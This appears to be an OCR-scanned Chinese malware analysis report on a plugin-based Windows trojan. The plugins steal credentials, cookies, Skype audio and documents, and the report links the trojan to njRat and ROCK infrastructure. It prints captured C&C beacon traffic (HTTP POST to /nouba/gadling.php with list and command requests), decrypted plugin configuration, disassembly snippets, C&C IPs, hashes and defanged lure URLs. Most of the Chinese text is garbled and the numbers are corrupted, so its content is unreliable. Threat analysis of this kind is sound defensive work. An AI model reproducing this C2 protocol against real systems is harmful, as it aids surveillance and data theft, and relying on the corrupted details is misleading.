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—ERDIEHE
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(SaEER)
PlgFsfit Plgurl Piginput Plgsl Plgcmd A PlgUsrst]
e &ésm)

C&C

|
L
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11 HERINEE
Dropper S FE2 B 20 A dil, 32 A1 64 A& 10 4, A IHRERERA 32 A Al
64 7 i .

| B4R Tk
zcore F A
zulib AP| bR Hi s 24
plgemd RAMEL, bR, J[shdditiE
plgcomm i
plginput FRPR A B 2 10 %
plgurl Wi W8S (IE, Firefox, Chrome)Hbtil# Py 2%
plgskype 4% skype W Rids%, #K, &, REIFLAE
plgavbug WG KA R, RAFEH EAE
plgusrstl PG BT HG ALHELRAE IR 28 Tk - F0 2 65, 3 %8 )7 s i ¢,
cookies, Pidgin(— X IM ) K5
plgfsflt 4R E B SO R B AT W% 9 b AL, SCHFSRALE0HS doc. docxs ppts

pptx. xlIs. xIsx. odf. txt. pdf. rtf. jpg. jpeg. gif- png

Zcore FARBLJA BN 20 H S B EL O, ARG B SCHH ST 8 B & BIEA

G2l (=pachei

BRI HRERR RS -

® Zcore.dll X OEHR: MBUIEILAB A DI, JHEASIHRE RS . LA
WM THg #E. H BT R AR DIRE -

® Plgemd.dil iR IR SHE R, MERSCHFEH 5. #E. B4 TESCH,
JR A SE A RE I T BE -

®  Plgcomm.dil IBAEREH: i SORE AL A BB SCIF AE B R E cC, Rk TN
B N R HAARE A SRR 2 S R R B IR 55 AR A IRIER, IRIBUEFESR 2.

i (At FEiE WM_COPYDATA ¥4 5B, 7H B3k Magic v 0x34AB541 {E Ay —
FRIRIAT . W BN AR A H json Ki%.
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JEIE HTTP POST MR 45 %% 80 i I A IEHHE, HE A A i BURR 7 75 BB i 596 json it &
SCAE PR %) I B 4

POST /nouba/gadling.php HTTP/1.1

Content-Type: multipart/form-data; boundary=1ldlaacffei2beal

User-Agent: Mozilla/5.8 (compatible; MSIE 18.0; Windows NT 6.1; Trident/6.8)
Host: 86.185.18.187

Content-Length: 81

Connection: Keep-Alive

--ldlaacffe72bead
Content-Disposition: form-data; name="affront”

overdosage

HTTP/1.1 2088 OK

Date: Tue, 10 May 2816 87:24:88 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.18-1ubuntu3.18
Content-Length: 32

Keep-Alive: timeout=5, max=180
Connection: Keep-Alive

Content-Type: application/json

{"overdosage":"-1572257467"} POST /nouba/gadling.php HTTP/1.1
Content-Type: multipart/form-data; boundary=1dlaacffed2lcb@

User-Agent: Mozilla/5.8 (compatible; MSIE 18.8; Windows NT 6.1; Trident/6.8)
Host: 86.1085.18.187

Content-Length: 183

Connection: Keep-Alive

--1ldlaacffted21chd
Content-Disposition: form-data; name="affront"

phenocryst
--ldlaacffed2lchd
Content-Disposition: form-data; name="liminess™

gubbinses

--ldlaacffed21cb®--

HTTP/1.1 288 OK

Date: Tue, 10 May 2016 87:24:88 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.18-1lubuntu3.18
Content-Length: 17

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive

Content-Type: application/json

{"blanco™:[]}

12 W&



POST /noubasgadling.php HTTP/1.1

Content-Type: multipart/form-data; boundary=1dlaacffe72bead

User-Agent: Mozillas5.0 (compatible; MSIE 16.@; Windows NT 6.1; Trident/6.8)
Host: B86.185.18.187

Content-Length: 81

Connection: Keep-Alive

-=1ldlaacffe72bead

Content-Disposition: form-data; name="request”

ip

HTTP 1.1 286 OK

Date: Tue, 18 May 2816 87:24:88 GMT
Server: Apaches2.2.22 (Ubuntu)
¥-Powered-By: PHP/5.3.18-1lubuntu3.18
Content-Length: 32

Keep-Alive: timeout=5, max=188
Connection: Keep-Alive

Content-Type: application/json
{"ip":"-1572257467"}

POST /noubasgadling.php HTTP/1.1

Content-Type: multipart/form-data; boundary=1dlaacffed21lcb@

User-Agent: Mozillas5.0 (compatible; MSIE 18.8; Windows NT 6.1; Trident/6.8)
Host: 86.105.18.107

Content-Length: 183

Connection: Keep-Alive

--1dlaacffed21cb@

Content-Disposition: form-data; name="request”
list

--1dlaacffed21cbe

Content-Disposition: form-data; name="type"
command

--1dlaactfted21cb@--

HTTP 1.1 288 OK

Date: Tue, 10 May 2816 87:24:88 GMT

Server: Apaches/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.18-1ubuntu3.18
Content-Length: 17

Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Content-Type: applications/json

{"filelist":[]}

13 MEBIEFFTELR
FH T X 25 3 A AR By N 310 YE #s dE R A, HASEH HTTP POST 7] C&C 1Y 80 ity I A& ik £ #iE
A S 5 IR AR M R

4. SHHRFE

XA BERL
Dropper B A LAY, UK A T json UM, Han & M4, il gendarme.dll,



jerques.dll.
"name”: "plugins”,
" children_": [
{
"name”: "plgcmd”,
" children_": [
{
"value": "explorer.exe",
"name”: "procname”

"value": "puggree.dll”,
"name”: "binary_name"

"value”: "birthright.dll”,
"name”: "binary_ name32"

"value": 5,
"name”: "timeout”

B 14 R HH

PR BN
P e ing, BA 2 MnE %,

push 48h

mou ed=, @Ah

mowv dword_1882BB24, BD6BOF4h
mou ecx, offset dword 1882BB24
mowv dword_1882BB28, BC7BBCEh
mowv dword_1882BB2C, BD7BBC1h
mowv dword_1882BE38, BEDBBD7h
mowv dword_1882BE34, BALBOCBH
call decoded ;

15 FRFEME

API 3523
KER APl (300 24 ARBESEEALE S, THESIT.




Xxor
mouv

call
push
push
mouv

call
push
push
push
call

T EHEBIT

eax, eax
[ecx], ax

dsRUDD_113

18h

offset zmmword_ 18029634
dword_18829562C, eax

ds :RUDD_199

offset zmmword_ 18029634
28h

offset zmmword_ 18029644
ds:RUDD_329

OB explorer.exe 3RS, HAt D) REALHAR P e B OCHHE AN B E 2R,
TERRE, UL BRI RIME ] OB, BB e, R B

1T AR5

THRAE explorer HI21T, RAMAFA LG THE AN B0 8212, Jo bias
BEFEAAN CC IR, I MU BIE AN SR, P SO AT AR B R

PE B IR AECE SR

Dropper H 1) PE SCHFZEIT zlib JE4EFN AES N4, FEJCHSRIY) json Be B SCAFE T 1L

FEhnE.

ML T-BORE , 7T NI AT 8l S S AR T R & To R AL RS 2 8l it b 1
HAE T RKEIIR, LUE BRI EEAT A RCR o
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Z:\build\rootkits\windows\zico\Release
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® JF&k# id N zico

® T AN ROCK-RW2-BRW6ER

® NEE XN rootkits T.E
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njRat fJ— N8R, 1] njRat FEERAT TH RHIX
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16 ¥EAFI CC WM XHR
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C&C /4 196.205.194.61 215 J% .

52f461a133e95328ccd9ba7f70e2f3e6 ROCK 196.205.194.60 B K

c80b3fb9293a932b4e814a32e7ca76d3 njRat 196.205.194.61 B K




PSR A: A {HRIBFEARIR

A R
hxxps://www.facebook.com/320924244852/photos/pb.320924244852.-2207520000.14
49772632./10150705915184853/?type=3&theater
hxxps://www.facebook.com/527045137305930/videos/918743024802804/
hxxp://statuscope.co.il/%D7%9E%D7%99-%D7%94%D7%99%D7%90-%D7%94%D7%99
%D7%97%D7%99%D7%93%D7%94-%D7%94%D7%98%D7%9B%D7%A0%D7%95%D7%9
C%D7%95%D7%92%D7%99%D7%AA-%D7%A9%D7%9C-%D7%96%D7%A8%D7%95%D7
%A2-%D7%94%D7%99%D7%9D-%D7%90%D7%A9%D7%A8-%D7%96%D7%9B%D7%AA%
D7%94-%D7%91%D7%AA%D7%97%D7%A8%D7%95%D7%AA?id=c917c8e2
hxxps://www.facebook.com/555898814436639/photos/a.556290817730772.145251.55
5898814436639/1019290754764107/?type=3&p=10
hxxps://www.facebook.com/miri.regev.il/photos/a.538483556248464.1073741833.118
410851589072/751248248305326/?type=1&theater
hxxps://www.facebook.com/maarivonline/videos/641901115916051/
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